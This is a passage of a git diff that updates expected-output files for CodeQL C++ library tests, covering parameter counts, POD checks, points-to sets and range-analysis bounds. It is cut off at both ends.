| 6 | 0 | | templateFunctionUser(signed int,unsigned int) | 5 | 5 | 0 | | twiceUsedTemplateFunction(T) | 6 | 6 | 0 | diff --git a/cpp/ql/test/library-tests/parameters/parameters/Parameters1.expected b/cpp/ql/test/library-tests/parameters/parameters/Parameters1.expected index bb7a28a21b7..5001757b461 100644 --- a/cpp/ql/test/library-tests/parameters/parameters/Parameters1.expected +++ b/cpp/ql/test/library-tests/parameters/parameters/Parameters1.expected @@ -1,5 +1,5 @@ -| file://:0:0:0:0 | operator= | 0 | -| file://:0:0:0:0 | operator= | 0 | +| file://:0:0:0:0 | operator= | 1 | +| file://:0:0:0:0 | operator= | 1 | | parameters.cpp:3:5:3:14 | Callback_1 | 2 | | parameters.cpp:8:5:8:14 | Callback_2 | 2 | | parameters.cpp:13:5:13:14 | Callback_3 | 2 | diff --git a/cpp/ql/test/library-tests/pod/isPOD03.expected b/cpp/ql/test/library-tests/pod/isPOD03.expected index b39b5878de3..298c4c43492 100644 --- a/cpp/ql/test/library-tests/pod/isPOD03.expected +++ b/cpp/ql/test/library-tests/pod/isPOD03.expected @@ -1,4 +1,4 @@ -| file://:0:0:0:0 | __va_list_tag | true | +| file://:0:0:0:0 | __va_list_tag | false | | test1.cpp:5:8:5:8 | S | false | | test2.cpp:6:8:6:10 | Foo | true | | test3.cpp:2:7:2:14 | MyClass1 | true | diff --git a/cpp/ql/test/library-tests/pointsto/basic/sets.expected b/cpp/ql/test/library-tests/pointsto/basic/sets.expected index e8f6b7169da..94f869bd29b 100644 --- a/cpp/ql/test/library-tests/pointsto/basic/sets.expected +++ b/cpp/ql/test/library-tests/pointsto/basic/sets.expected @@ -3,167 +3,173 @@ | pointsto | false | 2 | 2 | set: {overflow_arg_area} | | pointsto | false | 3 | 3 | set: {reg_save_area} | | pointsto | false | 4 | 4 | set: {operator=} | -| pointsto | false | 5 | 5 | set: {operator=} | -| pointsto | false | 6 | 6 | set: {MyStruct} | -| pointsto | false | 7 | 7 | set: {data} | -| pointsto | false | 8 | 8 | set: {operator=} | -| pointsto | false | 9 | 9 | set: {p#0} | -| pointsto | false | 10 | 10 | set: {operator=} | -| pointsto | false | 11 | 11 | set: {p#0} | -| pointsto | false | 12 | 12 | set: {(unsigned long)..., 10} | -| pointsto | false | 13 | 13 | set: {use} | -| pointsto | false | 14 | 14 | set: {v} | -| pointsto | false | 15 | 15 | set: {test} | -| pointsto | false | 16 | 16 | set: {cond} | -| pointsto | false | 17 | 17 | set: {(bool)..., cond} | -| pointsto | false | 18 | 18 | set: {p1, p1, p1} | -| pointsto | false | 19 | 19 | set: {a, a} | -| pointsto | false | 20 | 20 | set: {b, b} | -| pointsto | false | 21 | 21 | set: {p2, p2} | -| pointsto | false | 22 | 22 | set: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} | -| pointsto | false | 23 | 23 | set: {c, c} | -| pointsto | false | 24 | 24 | set: {pp1, pp1} | -| pointsto | false | 25 | 25 | set: {d, d} | -| pointsto | false | 26 | 26 | set: {pp2, pp2} | -| pointsto | false | 27 | 27 | set: {a, b, c, d} | -| pointsto | false | 28 | 28 | set: {& ..., & ..., ... = ..., ... = ..., p3} | -| pointsto | false | 29 | 29 | set: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} | -| pointsto | false | 79 | 79 | file://:0:0:0:0\ngp_offset | -| pointsto | false | 80 | 80 | file://:0:0:0:0\nfp_offset | -| pointsto | false | 81 | 81 | file://:0:0:0:0\noverflow_arg_area | -| pointsto | false | 82 | 82 | file://:0:0:0:0\nreg_save_area | -| pointsto | false | 83 | 83 | \noperator= | -| pointsto | false | 85 | 85 | \noperator= | -| pointsto | false | 88 | 88 | test.cpp:2:16:2:23\nMyStruct | -| pointsto | false | 89 | 89 | test.cpp:3:6:3:9\ndata | -| pointsto | false | 91 | 91 | test.cpp:2:16:2:16\noperator= | -| pointsto | false | 92 | 92 | file://:0:0:0:0\np#0 | -| pointsto | false | 95 | 95 | test.cpp:2:16:2:16\noperator= | -| pointsto | false | 96 | 96 | file://:0:0:0:0\np#0 | -| pointsto | false | 99 | 99 | test.cpp:3:11:3:12\n10 | -| pointsto | false | 100 | 100 | test.cpp:3:11:3:12\n(unsigned long)... | -| pointsto | false | 104 | 104 | test.cpp:6:10:6:10\na | -| pointsto | false | 106 | 106 | test.cpp:6:13:6:13\nb | -| pointsto | false | 108 | 108 | test.cpp:6:16:6:16\nc | -| pointsto | false | 110 | 110 | test.cpp:6:19:6:19\nd | -| pointsto | false | 112 | 112 | test.cpp:7:11:7:12\np1 | -| pointsto | false | 116 | 116 | test.cpp:7:16:7:17\np2 | -| pointsto | false | 118 | 118 | test.cpp:7:21:7:22\np3 | -| pointsto | false | 120 | 120 | test.cpp:8:12:8:14\npp1 | -| pointsto | false | 124 | 124 | test.cpp:8:19:8:21\npp2 | -| pointsto | false | 126 | 126 | test.cpp:10:6:10:8\nuse | -| pointsto | false | 127 | 127 | test.cpp:10:19:10:19\nv | -| pointsto | false | 130 | 130 | test.cpp:12:6:12:9\ntest | -| pointsto | false | 131 | 131 | test.cpp:12:15:12:18\ncond | -| pointsto | false | 132 | 132 | test.cpp:14:6:14:9\ncond | -| pointsto | false | 133 | 133 | test.cpp:14:6:14:9\n(bool)... | -| pointsto | false | 134 | 134 | test.cpp:16:3:16:4\np1 | -| pointsto | false | 135 | 135 | test.cpp:16:9:16:9\na | -| pointsto | false | 136 | 136 | test.cpp:16:8:16:9\n& ... | -| pointsto | false | 137 | 137 | test.cpp:16:3:16:9\n... = ... | -| pointsto | false | 140 | 140 | test.cpp:18:3:18:4\np1 | -| pointsto | false | 141 | 141 | test.cpp:18:9:18:9\nb | -| pointsto | false | 142 | 142 | test.cpp:18:8:18:9\n& ... | -| pointsto | false | 143 | 143 | test.cpp:18:3:18:9\n... = ... | -| pointsto | false | 148 | 148 | test.cpp:20:2:20:3\np2 | -| pointsto | false | 149 | 149 | test.cpp:20:7:20:8\np1 | -| pointsto | false | 150 | 150 | test.cpp:20:2:20:8\n... = ... | -| pointsto | false | 152 | 152 | test.cpp:22:2:22:3\np3 | -| pointsto | false | 153 | 153 | test.cpp:22:8:22:8\nc | -| pointsto | false | 154 | 154 | test.cpp:22:7:22:8\n& ... | -| pointsto | false | 155 | 155 | test.cpp:22:2:22:8\n... = ... | -| pointsto | false | 157 | 157 | test.cpp:23:2:23:4\npp1 | -| pointsto | false | 158 | 158 | test.cpp:23:9:23:10\np3 | -| pointsto | false | 159 | 159 | test.cpp:23:8:23:10\n& ... | -| pointsto | false | 160 | 160 | test.cpp:23:2:23:10\n... = ... | -| pointsto | false | 162 | 162 | test.cpp:24:2:24:3\np3 | -| pointsto | false | 163 | 163 | test.cpp:24:8:24:8\nd | -| pointsto | false | 164 | 164 | test.cpp:24:7:24:8\n& ... | -| pointsto | false | 165 | 165 | test.cpp:24:2:24:8\n... = ... | -| pointsto | false | 168 | 168 | test.cpp:25:2:25:4\npp2 | -| pointsto | false | 169 | 169 | test.cpp:25:9:25:10\np3 | -| pointsto | false | 170 | 170 | test.cpp:25:8:25:10\n& ... | -| pointsto | false | 171 | 171 | test.cpp:25:2:25:10\n... = ... | -| pointsto | false | 176 | 176 | test.cpp:27:6:27:6\na | -| pointsto | false | 177 | 177 | test.cpp:27:9:27:9\nb | -| pointsto | false | 178 | 178 | test.cpp:27:12:27:12\nc | -| pointsto | false | 179 | 179 | test.cpp:27:15:27:15\nd | -| pointsto | false | 180 | 180 | test.cpp:27:18:27:19\np1 | -| pointsto | false | 181 | 181 | test.cpp:27:22:27:23\np2 | -| pointsto | false | 182 | 182 | test.cpp:27:26:27:27\np3 | -| pointsto | false | 183 | 183 | test.cpp:27:30:27:32\npp1 | -| pointsto | false | 184 | 184 | test.cpp:27:35:27:37\npp2 | -| pointsto | true | 0 | 79 | pt: {gp_offset} -> gp_offset | -| pointsto | true | 1 | 80 | pt: {fp_offset} -> fp_offset | -| pointsto | true | 2 | 81 | pt: {overflow_arg_area} -> overflow_arg_area | -| pointsto | true | 3 | 82 | pt: {reg_save_area} -> reg_save_area | -| pointsto | true | 4 | 83 | pt: {operator=} -> operator= | -| pointsto | true | 5 | 85 | pt: {operator=} -> operator= | -| pointsto | true | 6 | 88 | pt: {MyStruct} -> MyStruct | -| pointsto | true | 7 | 89 | pt: {data} -> data | -| pointsto | true | 8 | 91 | pt: {operator=} -> operator= | -| pointsto | true | 9 | 92 | pt: {p#0} -> p#0 | -| pointsto | true | 10 | 95 | pt: {operator=} -> operator= | -| pointsto | true | 11 | 96 | pt: {p#0} -> p#0 | -| pointsto | true | 12 | 99 | pt: {(unsigned long)..., 10} -> 10 | -| pointsto | true | 12 | 100 | pt: {(unsigned long)..., 10} -> (unsigned long)... | -| pointsto | true | 13 | 126 | pt: {use} -> use | -| pointsto | true | 14 | 6 | sf | -| pointsto | true | 14 | 127 | pt: {v} -> v | -| pointsto | true | 15 | 130 | pt: {test} -> test | -| pointsto | true | 16 | 131 | pt: {cond} -> cond | -| pointsto | true | 17 | 132 | pt: {(bool)..., cond} -> cond | -| pointsto | true | 17 | 133 | pt: {(bool)..., cond} -> (bool)... | -| pointsto | true | 18 | 112 | pt: {p1, p1, p1} -> p1 | -| pointsto | true | 18 | 134 | pt: {p1, p1, p1} -> p1 | -| pointsto | true | 18 | 140 | pt: {p1, p1, p1} -> p1 | -| pointsto | true | 19 | 6 | sf | -| pointsto | true | 19 | 22 | sf | -| pointsto | true | 19 | 104 | pt: {a, a} -> a | -| pointsto | true | 19 | 135 | pt: {a, a} -> a | -| pointsto | true | 20 | 6 | sf | -| pointsto | true | 20 | 22 | sf | -| pointsto | true | 20 | 106 | pt: {b, b} -> b | -| pointsto | true | 20 | 141 | pt: {b, b} -> b | -| pointsto | true | 21 | 116 | pt: {p2, p2} -> p2 | -| pointsto | true | 21 | 148 | pt: {p2, p2} -> p2 | -| pointsto | true | 22 | 136 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> & ... | -| pointsto | true | 22 | 137 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> ... = ... | -| pointsto | true | 22 | 142 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> & ... | -| pointsto | true | 22 | 143 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> ... = ... | -| pointsto | true | 22 | 149 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> p1 | -| pointsto | true | 22 | 150 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> ... = ... | -| pointsto | true | 22 | 180 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> p1 | -| pointsto | true | 22 | 181 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> p2 | -| pointsto | true | 23 | 6 | sf | -| pointsto | true | 23 | 28 | sf | -| pointsto | true | 23 | 108 | pt: {c, c} -> c | -| pointsto | true | 23 | 153 | pt: {c, c} -> c | -| pointsto | true | 24 | 120 | pt: {pp1, pp1} -> pp1 | -| pointsto | true | 24 | 157 | pt: {pp1, pp1} -> pp1 | -| pointsto | true | 25 | 6 | sf | -| pointsto | true | 25 | 28 | sf | -| pointsto | true | 25 | 110 | pt: {d, d} -> d | -| pointsto | true | 25 | 163 | pt: {d, d} -> d | -| pointsto | true | 26 | 124 | pt: {pp2, pp2} -> pp2 | -| pointsto | true | 26 | 168 | pt: {pp2, pp2} -> pp2 | -| pointsto | true | 27 | 176 | pt: {a, b, c, d} -> a | -| pointsto | true | 27 | 177 | pt: {a, b, c, d} -> b | -| pointsto | true | 27 | 178 | pt: {a, b, c, d} -> c | -| pointsto | true | 27 | 179 | pt: {a, b, c, d} -> d | -| pointsto | true | 28 | 154 | pt: {& ..., & ..., ... = ..., ... = ..., p3} -> & ... | -| pointsto | true | 28 | 155 | pt: {& ..., & ..., ... = ..., ... = ..., p3} -> ... = ... | -| pointsto | true | 28 | 164 | pt: {& ..., & ..., ... = ..., ... = ..., p3} -> & ... | -| pointsto | true | 28 | 165 | pt: {& ..., & ..., ... = ..., ... = ..., p3} -> ... = ... | -| pointsto | true | 28 | 182 | pt: {& ..., & ..., ... = ..., ... = ..., p3} -> p3 | -| pointsto | true | 29 | 118 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> p3 | -| pointsto | true | 29 | 152 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> p3 | -| pointsto | true | 29 | 158 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> p3 | -| pointsto | true | 29 | 159 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> & ... | -| pointsto | true | 29 | 160 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> ... = ... | -| pointsto | true | 29 | 162 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> p3 | -| pointsto | true | 29 | 169 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> p3 | -| pointsto | true | 29 | 170 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> & ... | -| pointsto | true | 29 | 171 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> ... = ... | -| pointsto | true | 29 | 183 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> pp1 | -| pointsto | true | 29 | 184 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> pp2 | +| pointsto | false | 5 | 5 | set: {p#0} | +| pointsto | false | 6 | 6 | set: {operator=} | +| pointsto | false | 7 | 7 | set: {p#0} | +| pointsto | false | 8 | 8 | set: {MyStruct} | +| pointsto | false | 9 | 9 | set: {test} | +| pointsto | false | 10 | 10 | set: {cond} | +| pointsto | false | 11 | 11 | set: {(bool)..., cond} | +| pointsto | false | 12 | 12 | set: {p1, p1, p1} | +| pointsto | false | 13 | 13 | set: {a, a} | +| pointsto | false | 14 | 14 | set: {b, b} | +| pointsto | false | 15 | 15 | set: {p2, p2} | +| pointsto | false | 16 | 16 | set: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} | +| pointsto | false | 17 | 17 | set: {c, c} | +| pointsto | false | 18 | 18 | set: {pp1, pp1} | +| pointsto | false | 19 | 19 | set: {d, d} | +| pointsto | false | 20 | 20 | set: {pp2, pp2} | +| pointsto | false | 21 | 21 | set: {use} | +| pointsto | false | 22 | 22 | set: {a, b, c, d} | +| pointsto | false | 23 | 23 | set: {& ..., & ..., ... = ..., ... = ..., p3} | +| pointsto | false | 24 | 24 | set: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} | +| pointsto | false | 25 | 25 | set: {v} | +| pointsto | false | 26 | 26 | set: {operator=} | +| pointsto | false | 27 | 27 | set: {p#0} | +| pointsto | false | 28 | 28 | set: {operator=} | +| pointsto | false | 29 | 29 | set: {p#0} | +| pointsto | false | 30 | 30 | set: {data} | +| pointsto | false | 31 | 31 | set: {(unsigned long)..., 10} | +| pointsto | false | 94 | 94 | file://:0:0:0:0\ngp_offset | +| pointsto | false | 96 | 96 | file://:0:0:0:0\nfp_offset | +| pointsto | false | 98 | 98 | file://:0:0:0:0\noverflow_arg_area | +| pointsto | false | 101 | 101 | file://:0:0:0:0\nreg_save_area | +| pointsto | false | 104 | 104 | \noperator= | +| pointsto | false | 105 | 105 | \np#0 | +| pointsto | false | 109 | 109 | \noperator= | +| pointsto | false | 110 | 110 | \np#0 | +| pointsto | false | 156 | 156 | test.cpp:2:16:2:23\nMyStruct | +| pointsto | false | 161 | 161 | test.cpp:12:6:12:9\ntest | +| pointsto | false | 162 | 162 | test.cpp:12:15:12:18\ncond | +| pointsto | false | 165 | 165 | test.cpp:14:6:14:9\ncond | +| pointsto | false | 166 | 166 | test.cpp:14:6:14:9\n(bool)... | +| pointsto | false | 169 | 169 | test.cpp:7:11:7:12\np1 | +| pointsto | false | 170 | 170 | test.cpp:16:3:16:4\np1 | +| pointsto | false | 171 | 171 | test.cpp:6:10:6:10\na | +| pointsto | false | 172 | 172 | test.cpp:16:9:16:9\na | +| pointsto | false | 173 | 173 | test.cpp:16:8:16:9\n& ... | +| pointsto | false | 174 | 174 | test.cpp:16:3:16:9\n... = ... | +| pointsto | false | 177 | 177 | test.cpp:18:3:18:4\np1 | +| pointsto | false | 178 | 178 | test.cpp:6:13:6:13\nb | +| pointsto | false | 179 | 179 | test.cpp:18:9:18:9\nb | +| pointsto | false | 180 | 180 | test.cpp:18:8:18:9\n& ... | +| pointsto | false | 181 | 181 | test.cpp:18:3:18:9\n... = ... | +| pointsto | false | 185 | 185 | test.cpp:7:16:7:17\np2 | +| pointsto | false | 186 | 186 | test.cpp:20:2:20:3\np2 | +| pointsto | false | 187 | 187 | test.cpp:20:7:20:8\np1 | +| pointsto | false | 188 | 188 | test.cpp:20:2:20:8\n... = ... | +| pointsto | false | 190 | 190 | test.cpp:7:21:7:22\np3 | +| pointsto | false | 191 | 191 | test.cpp:22:2:22:3\np3 | +| pointsto | false | 192 | 192 | test.cpp:6:16:6:16\nc | +| pointsto | false | 193 | 193 | test.cpp:22:8:22:8\nc | +| pointsto | false | 194 | 194 | test.cpp:22:7:22:8\n& ... | +| pointsto | false | 195 | 195 | test.cpp:22:2:22:8\n... = ... | +| pointsto | false | 199 | 199 | test.cpp:8:12:8:14\npp1 | +| pointsto | false | 200 | 200 | test.cpp:23:2:23:4\npp1 | +| pointsto | false | 201 | 201 | test.cpp:23:9:23:10\np3 | +| pointsto | false | 202 | 202 | test.cpp:23:8:23:10\n& ... | +| pointsto | false | 203 | 203 | test.cpp:23:2:23:10\n... = ... | +| pointsto | false | 205 | 205 | test.cpp:24:2:24:3\np3 | +| pointsto | false | 206 | 206 | test.cpp:6:19:6:19\nd | +| pointsto | false | 207 | 207 | test.cpp:24:8:24:8\nd | +| pointsto | false | 208 | 208 | test.cpp:24:7:24:8\n& ... | +| pointsto | false | 209 | 209 | test.cpp:24:2:24:8\n... = ... | +| pointsto | false | 211 | 211 | test.cpp:8:19:8:21\npp2 | +| pointsto | false | 212 | 212 | test.cpp:25:2:25:4\npp2 | +| pointsto | false | 213 | 213 | test.cpp:25:9:25:10\np3 | +| pointsto | false | 214 | 214 | test.cpp:25:8:25:10\n& ... | +| pointsto | false | 215 | 215 | test.cpp:25:2:25:10\n... = ... | +| pointsto | false | 217 | 217 | test.cpp:10:6:10:8\nuse | +| pointsto | false | 221 | 221 | test.cpp:27:6:27:6\na | +| pointsto | false | 222 | 222 | test.cpp:27:9:27:9\nb | +| pointsto | false | 223 | 223 | test.cpp:27:12:27:12\nc | +| pointsto | false | 224 | 224 | test.cpp:27:15:27:15\nd | +| pointsto | false | 225 | 225 | test.cpp:27:18:27:19\np1 | +| pointsto | false | 226 | 226 | test.cpp:27:22:27:23\np2 | +| pointsto | false | 227 | 227 | test.cpp:27:26:27:27\np3 | +| pointsto | false | 228 | 228 | test.cpp:27:30:27:32\npp1 | +| pointsto | false | 229 | 229 | test.cpp:27:35:27:37\npp2 | +| pointsto | false | 233 | 233 | test.cpp:10:19:10:19\nv | +| pointsto | false | 235 | 235 | test.cpp:2:16:2:16\noperator= | +| pointsto | false | 237 | 237 | file://:0:0:0:0\np#0 | +| pointsto | false | 242 | 242 | test.cpp:2:16:2:16\noperator= | +| pointsto | false | 243 | 243 | file://:0:0:0:0\np#0 | +| pointsto | false | 247 | 247 | test.cpp:3:6:3:9\ndata | +| pointsto | false | 250 | 250 | test.cpp:3:11:3:12\n10 | +| pointsto | false | 251 | 251 | test.cpp:3:11:3:12\n(unsigned long)... | +| pointsto | true | 0 | 94 | pt: {gp_offset} -> gp_offset | +| pointsto | true | 1 | 96 | pt: {fp_offset} -> fp_offset | +| pointsto | true | 2 | 98 | pt: {overflow_arg_area} -> overflow_arg_area | +| pointsto | true | 3 | 101 | pt: {reg_save_area} -> reg_save_area | +| pointsto | true | 4 | 104 | pt: {operator=} -> operator= | +| pointsto | true | 5 | 105 | pt: {p#0} -> p#0 | +| pointsto | true | 6 | 109 | pt: {operator=} -> operator= | +| pointsto | true | 7 | 110 | pt: {p#0} -> p#0 | +| pointsto | true | 8 | 156 | pt: {MyStruct} -> MyStruct | +| pointsto | true | 9 | 161 | pt: {test} -> test | +| pointsto | true | 10 | 162 | pt: {cond} -> cond | +| pointsto | true | 11 | 165 | pt: {(bool)..., cond} -> cond | +| pointsto | true | 11 | 166 | pt: {(bool)..., cond} -> (bool)... | +| pointsto | true | 12 | 169 | pt: {p1, p1, p1} -> p1 | +| pointsto | true | 12 | 170 | pt: {p1, p1, p1} -> p1 | +| pointsto | true | 12 | 177 | pt: {p1, p1, p1} -> p1 | +| pointsto | true | 13 | 8 | sf | +| pointsto | true | 13 | 16 | sf | +| pointsto | true | 13 | 171 | pt: {a, a} -> a | +| pointsto | true | 13 | 172 | pt: {a, a} -> a | +| pointsto | true | 14 | 8 | sf | +| pointsto | true | 14 | 16 | sf | +| pointsto | true | 14 | 178 | pt: {b, b} -> b | +| pointsto | true | 14 | 179 | pt: {b, b} -> b | +| pointsto | true | 15 | 185 | pt: {p2, p2} -> p2 | +| pointsto | true | 15 | 186 | pt: {p2, p2} -> p2 | +| pointsto | true | 16 | 173 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> & ... | +| pointsto | true | 16 | 174 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> ... = ... | +| pointsto | true | 16 | 180 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> & ... | +| pointsto | true | 16 | 181 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> ... = ... | +| pointsto | true | 16 | 187 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> p1 | +| pointsto | true | 16 | 188 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> ... = ... | +| pointsto | true | 16 | 225 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> p1 | +| pointsto | true | 16 | 226 | pt: {& ..., & ..., ... = ..., ... = ..., ... = ..., p1, p1, p2} -> p2 | +| pointsto | true | 17 | 8 | sf | +| pointsto | true | 17 | 23 | sf | +| pointsto | true | 17 | 192 | pt: {c, c} -> c | +| pointsto | true | 17 | 193 | pt: {c, c} -> c | +| pointsto | true | 18 | 199 | pt: {pp1, pp1} -> pp1 | +| pointsto | true | 18 | 200 | pt: {pp1, pp1} -> pp1 | +| pointsto | true | 19 | 8 | sf | +| pointsto | true | 19 | 23 | sf | +| pointsto | true | 19 | 206 | pt: {d, d} -> d | +| pointsto | true | 19 | 207 | pt: {d, d} -> d | +| pointsto | true | 20 | 211 | pt: {pp2, pp2} -> pp2 | +| pointsto | true | 20 | 212 | pt: {pp2, pp2} -> pp2 | +| pointsto | true | 21 | 217 | pt: {use} -> use | +| pointsto | true | 22 | 221 | pt: {a, b, c, d} -> a | +| pointsto | true | 22 | 222 | pt: {a, b, c, d} -> b | +| pointsto | true | 22 | 223 | pt: {a, b, c, d} -> c | +| pointsto | true | 22 | 224 | pt: {a, b, c, d} -> d | +| pointsto | true | 23 | 194 | pt: {& ..., & ..., ... = ..., ... = ..., p3} -> & ... | +| pointsto | true | 23 | 195 | pt: {& ..., & ..., ... = ..., ... = ..., p3} -> ... = ... | +| pointsto | true | 23 | 208 | pt: {& ..., & ..., ... = ..., ... = ..., p3} -> & ... | +| pointsto | true | 23 | 209 | pt: {& ..., & ..., ... = ..., ... = ..., p3} -> ... = ... | +| pointsto | true | 23 | 227 | pt: {& ..., & ..., ... = ..., ... = ..., p3} -> p3 | +| pointsto | true | 24 | 190 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> p3 | +| pointsto | true | 24 | 191 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> p3 | +| pointsto | true | 24 | 201 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> p3 | +| pointsto | true | 24 | 202 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> & ... | +| pointsto | true | 24 | 203 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> ... = ... | +| pointsto | true | 24 | 205 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> p3 | +| pointsto | true | 24 | 213 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> p3 | +| pointsto | true | 24 | 214 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> & ... | +| pointsto | true | 24 | 215 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> ... = ... | +| pointsto | true | 24 | 228 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> pp1 | +| pointsto | true | 24 | 229 | pt: {& ..., & ..., ... = ..., ... = ..., p3, p3, p3, p3, p3, pp1, pp2} -> pp2 | +| pointsto | true | 25 | 8 | sf | +| pointsto | true | 25 | 233 | pt: {v} -> v | +| pointsto | true | 26 | 235 | pt: {operator=} -> operator= | +| pointsto | true | 27 | 237 | pt: {p#0} -> p#0 | +| pointsto | true | 28 | 242 | pt: {operator=} -> operator= | +| pointsto | true | 29 | 243 | pt: {p#0} -> p#0 | +| pointsto | true | 30 | 247 | pt: {data} -> data | +| pointsto | true | 31 | 250 | pt: {(unsigned long)..., 10} -> 10 | +| pointsto | true | 31 | 251 | pt: {(unsigned long)..., 10} -> (unsigned long)... | diff --git a/cpp/ql/test/library-tests/rangeanalysis/rangeanalysis/lowerBound.expected b/cpp/ql/test/library-tests/rangeanalysis/rangeanalysis/lowerBound.expected index ec0a7995410..836e023bce1 100644 --- a/cpp/ql/test/library-tests/rangeanalysis/rangeanalysis/lowerBound.expected +++ b/cpp/ql/test/library-tests/rangeanalysis/rangeanalysis/lowerBound.expected @@ -373,22 +373,16 @@ | test.c:365:7:365:7 | x | 0.0 | | test.c:366:5:366:6 | y3 | 0.0 | | test.c:366:10:366:10 | x | 0.0 | -| test.c:366:10:366:10 | x | 0.0 | | test.c:367:5:367:6 | y4 | 0.0 | | test.c:367:10:367:10 | x | 0.0 | -| test.c:367:10:367:10 | x | 0.0 | | test.c:368:5:368:6 | y5 | 0.0 | | test.c:368:11:368:11 | x | 0.0 | -| test.c:368:11:368:11 | x | 0.0 | | test.c:369:5:369:6 | y6 | 0.0 | | test.c:369:27:369:27 | x | 0.0 | -| test.c:369:27:369:27 | x | 0.0 | | test.c:370:5:370:6 | y7 | 0.0 | | test.c:370:27:370:27 | x | 0.0 | -| test.c:370:27:370:27 | x | 0.0 | | test.c:371:5:371:6 | y8 | 0.0 | | test.c:371:28:371:28 | x | 0.0 | -| test.c:371:28:371:28 | x | 0.0 | | test.c:373:10:373:11 | y1 | 0.0 | | test.c:373:15:373:16 | y2 | 0.0 | | test.c:373:20:373:21 | y3 | 0.0 | @@ -408,13 +402,10 @@ | test.c:383:3:383:4 | y5 | 0.0 | | test.c:384:7:384:7 | x | 0.0 | | test.c:385:5:385:6 | y3 | 0.0 | -| test.c:385:11:385:11 | x | 0.0 | | test.c:385:11:385:11 | x | 300.0 | | test.c:386:5:386:6 | y4 | 0.0 | -| test.c:386:11:386:11 | x | 0.0 | | test.c:386:11:386:11 | x | 300.0 | | test.c:387:5:387:6 | y5 | 0.0 | -| test.c:387:27:387:27 | x | 0.0 | | test.c:387:27:387:27 | x | 300.0 | | test.c:389:10:389:11 | y1 | 101.0 | | test.c:389:15:389:16 | y2 | 101.0 | diff --git a/cpp/ql/test/library-tests/rangeanalysis/rangeanalysis/upperBound.expected b/cpp/ql/test/library-tests/rangeanalysis/rangeanalysis/upperBound.expected index c61da12bacb..77a3fb06518 100644 --- a/cpp/ql/test/library-tests/rangeanalysis/rangeanalysis/upperBound.expected +++ b/cpp/ql/test/library-tests/rangeanalysis/rangeanalysis/upperBound.expected @@ -372,22 +372,16 @@ | test.c:364:3:364:4 | y8 | 4.294967295E9 | | test.c:365:7:365:7 | x | 4.294967295E9 | | test.c:366:5:366:6 | y3 | 4.294967295E9 | -| test.c:366:10:366:10 | x | 4.294967295E9 | | test.c:366:10:366:10 | x | 299.0 | | test.c:367:5:367:6 | y4 | 4.294967295E9 | -| test.c:367:10:367:10 | x | 4.294967295E9 | | test.c:367:10:367:10 | x | 299.0 | | test.c:368:5:368:6 | y5 | 4.294967295E9 | -| test.c:368:11:368:11 | x | 4.294967295E9 | | test.c:368:11:368:11 | x | 299.0 | | test.c:369:5:369:6 | y6 | 4.294967295E9 | -| test.c:369:27:369:27 | x | 4.294967295E9 | | test.c:369:27:369:27 | x | 299.0 | | test.c:370:5:370:6 | y7 | 4.294967295E9 | -| test.c:370:27:370:27 | x | 4.294967295E9 | | test.c:370:27:370:27 | x | 299.0 | | test.c:371:5:371:6 | y8 | 4.294967295E9 | -| test.c:371:28:371:28 | x | 4.294967295E9 | | test.c:371:28:371:28 | x | 299.0 | | test.c:373:10:373:11 | y1 